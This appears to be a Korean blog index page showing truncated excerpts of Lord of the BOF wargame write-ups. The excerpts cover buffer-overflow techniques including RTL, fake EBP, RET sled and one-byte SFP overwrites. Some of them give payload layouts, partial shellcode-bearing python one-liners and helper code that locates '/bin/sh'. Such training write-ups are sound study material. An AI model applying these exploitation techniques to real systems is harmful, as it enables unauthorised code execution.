목록시스템 해킹/LOB (19)
ii4gsp
stack 영역을 사용할 수 없다. 라이브러리 영역도 사용할 수 없다. 또한 fgets()함수에서 arg로 입력을 받지않고 뜬금없이 stdin으로 입력을 받는다. stdin은 표준입력 파일 스트림이다. stdin은 입력 버퍼를 가지고 있다. 파일 복사 후 gdb로 파일을 열어주자 eax 레지스터에 0x8049a3c가 복사되고 push 된다. 0x8049a3c가 stdin의 주소이다. ret가 실행되기전 부분에 break point를 걸어주고 프로그램 실행 후 값을 넣어주자 stdin+4는 buffer의 end부분을 가리키고 stdin+12는 buffer의 start부분을 가리킨다. buffer의 start부분인 0x40015000을 payload에 사용하면된다. 페이로드는 NOP * 19 + shellc..
주석에 PLT라고 되어있다 RET를 strcpy()함수의 PLT주소로 변조해야 하는 문제이다. strcpy()함수의 PLT주소는 0x08048410이다. 값을 넣어주고 코어파일을 분석해보자 0x41414141가 있는 주소 0xbffffa50과 0x45454545가 있는 주소 0xbffffa5c를 사용할것이다. 페이로드는 buffer + sfp + &strcpy() + dummy + &strcpy() arg1 + &strcpy() arg2 + &shellcode [44byte] [4byte] [4byte] [4byte] [4byte] [4byte] #include int main() { printf("%p\n", getenv("shellcode")); return 0; } 쉘 코드 주소를 구하는 소스코드를..
/* The Lord of the BOF : The Fellowship of the BOF - succubus - calling functions continuously */ #include #include #include // the inspector int check = 0; void MO(char *cmd) { if(check != 4) exit(0); printf("welcome to the MO!\n"); // olleh! system(cmd); } void YUT(void) { if(check != 3) exit(0); printf("welcome to the YUT!\n"); check = 4; } void GUL(void) { if(check != 2) exit(0); printf("wel..
주석에 FEBP라고 적혀있다 Fake EBP일것이다. 파일을 복사 후 gdb로 파일을 열어주자 ret가 실행되기전 leave 부분에 break point를 걸어주고 값을 넣어주자 leave - ret Gadget은 0x080484f0이다. 스택을 확인해보면 buffer의 주소는 0xbffffab0이다. 0xbffffab0 + 4 = 0xbffffab4 0xbffffab0 - 4 = 0xbffffaac 페이로드는 &buffer + 4 + dummy + shellcode + &buffer - 4 + leave - ret Gadget [4byte] [11byte] [25byte] [4byte] [4byte] payload ./zombie_assassin $(python -c 'print "\xb4\xfa\xf..
stack을 사용할 수 없고 RTL도 사용불가능이다. RET sled를 사용하여 문제를 풀어보자 gdb로 파일을 열고 ret부분에 break point를 걸고 RET에 RET를 한번더 넣고 NOP Sled와 쉘 코드를 넣어주자 RET에 RET를 넣어주고 0xbffffc0c를 RET로 잡고 페이로드를 작성해주자 buffer + sfp + &ret + 0xbffffc0c + NOP sled + 쉘 코드 [44byte] [4byte] [4byte] [100byte] [25byte] payload ./assassin $(python -c 'print "\x90" * 44 + "\x1e\x85\x04\x08" + "\x0c\xfc\xff\xbf" + "\x90" * 100 + "\x31\xc0\x50\x68\x2..
주석을 보면 RTL2라고 되어있다 RTL기법을 사용해야한다. argv[1][44]에 입력된 값이 execve()함수의 주소와 같아야한다. 라이브러리의 주소를 구해주자 파일을 복사해주고 gdb로 열어 print명령어로 각 라이브러리의 주소를 구해주었다. system()함수 주소 0x40058ae0 execve()함수 주소 0x400a9d48 exit()함수 주소 0x400391e0 system()함수의 주소를 이용해 "/bin/sh"의 주소도 구해주자. #include int main() { int system = 0x40058ae0; while(memcmp((void*)system, "/bin/sh", 8)) system++; printf("%x\n", system); } "/bin/sh"의 주소를 구하..
RTL기법을 이용한 문제이다. system()함수의 주소와 "/bin/sh"의 주소를 구해주자. system()함수의 주소는 0x40058ae0이다. "bin/sh"의 주소도 구해주자. #include int main() { int system = 0x40058ae0; while(memcmp((void*)system, "/bin/sh", 8)) system++; printf("%x\n", system); return 0; } 위의 소스코드를 작성해주고 실행해주자. "bin/sh"의 주소는 0x400fbff9이다. 페이로드는 (buffer + sfp) + system()주소 + dummy + "/bin/sh"주소 [44byte] [4byte] [4byte] [4byte] payload ./bugbear $..
problem_child함수가 argv[1]의 값을 받아와 버퍼에 복사하는데 buffer는 40인데 복사하는 값의 크기는 41이다. 1byte가 초과되어 SFP의 제일 마지막 1byte를 덮어 씌운다. 스택에서 SFP의 위 주소에는 RET가 존재한다. 즉, SFP + 4의 메모리는 다음 명령어의 실행 주소이다. gdb로 파일을열어 problem_child() 함수의 ret되기전 부분인 >problem_child+42>부분에 break point를 걸어주자. A로 41byte를 채우고 esp-8부터 40byte를 확인해 보자 0xbffffacc부터 "A"가 들어가고 41byte를 주어 SFP의 1byte를 0xbffffb41로 바꿔주었다. nop [15byte] + shellcode[25byte] + \x..